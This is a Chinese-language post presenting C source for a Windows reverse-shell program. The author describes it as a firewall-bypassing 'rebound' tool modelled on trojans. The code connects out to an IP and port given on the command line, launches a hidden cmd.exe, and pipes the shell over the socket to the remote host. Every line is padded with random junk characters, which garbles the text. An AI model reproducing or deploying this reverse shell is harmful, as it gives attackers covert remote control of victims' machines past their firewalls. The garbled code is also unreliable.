Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 6C9KT;6  
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/* ============================== P1]ucu_y,  
Rebound port in Windows NT -q[T0^eS  
By wind,2006/7 Ne,7[k  
===============================*/ i)Vqvb0Q  
#include b{)9?%_  
#include Hq8<g$  
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#pragma comment(lib,"wsock32.lib") TKvUBy  
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void OutputShell(); 1 h|cr_  
SOCKET sClient; E)o/C(g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HuBG?4Qd  
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void main(int argc,char **argv) r
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{ s$YKdtR  
WSADATA stWsaData; 3}= .7qm  
int nRet; 1eZ">,F6<  
SOCKADDR_IN stSaiClient,stSaiServer; ?^mgK9^v@  
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if(argc != 3) #s{>v$F  
{ C(b"0>  
printf("Useage:\n\rRebound DestIP DestPort\n"); g2^7PtJg  
return; 8N4W}YBs  
} 1*S It5?4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); St-:+=V_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <.CO{L\e  
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stSaiClient.sin_family = AF_INET; 8)ZWR3)+W  
stSaiClient.sin_port = htons(0); -20o%t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p<Wb^BE  
xY(+[T!OF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^LaI{UDw%h  
{ kV!0cLH!hH  
printf("Bind Socket Failed!\n"); Nt,)5_K <  
return; :k6|-A2  
} A3*ti!X<6  

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stSaiServer.sin_family = AF_INET; MB"uJUk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); okoD26tK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ji?0;2Y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Yd~K\tX:n  
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printf("Connect Error!"); ^_9 ^iL  
return; %P0dY:L~  
} v Q[{<|K  
OutputShell(); 7Gnslp?[U  
} vP^]Y.6  
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void OutputShell() DalQ.  
{ 5u T 9ssC  
char szBuff[1024]; 5#g<L ~  
SECURITY_ATTRIBUTES stSecurityAttributes; fO[X<|9  
OSVERSIONINFO stOsversionInfo; `J[(Dx'y=t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G]E$U]=9r:  
STARTUPINFO stStartupInfo; >"jV8%!sM  
char *szShell; /*`BGNkYY  
PROCESS_INFORMATION stProcessInformation; ~"\sL;B  
unsigned long lBytesRead; o+;=C@,'  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zT#36+_?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T~cq=i|O  
stSecurityAttributes.lpSecurityDescriptor = 0; $^ (q0zR~l  
stSecurityAttributes.bInheritHandle = TRUE; Iwi>yx8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H$KE*Wwq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8A"[n>931  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VH4P|w[YF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %}%D8-d}G  
stStartupInfo.wShowWindow = SW_HIDE; /O|!Sg{  
stStartupInfo.hStdInput = hReadPipe; ehtiu!Vk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R
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GetVersionEx(&stOsversionInfo); 0(|R NV_  
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switch(stOsversionInfo.dwPlatformId) =x>z|1  
{ 1)?^N`xF  
case 1:
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szShell = "command.com"; @I\Z2-J  
break; jz't!wj  
default: t!c8c^HR  
szShell = "cmd.exe"; aQCbRS6  
break; vY *p][$  
} r=n|MT^O  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aw/Y#  
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send(sClient,szMsg,77,0); |}^[f]  
while(1) 6R%c+ok8i  
{ YH)Unql  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |.=Ee+HZ  
if(lBytesRead) =}\]i*  
{ j$T2ff6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M~I M;my  
send(sClient,szBuff,lBytesRead,0); 2]eh[fRQ  
} $qD8vu )|j  
else q?[{fcNh$  
{ d%1S6eYa'  
lBytesRead=recv(sClient,szBuff,1024,0); G(JvAe]r  
if(lBytesRead<=0) break; Q}^ n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \-GV8A2:k  
} (*&6XTV(  
} 6NbIT[LvT  
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return; Id]W
KL:  
}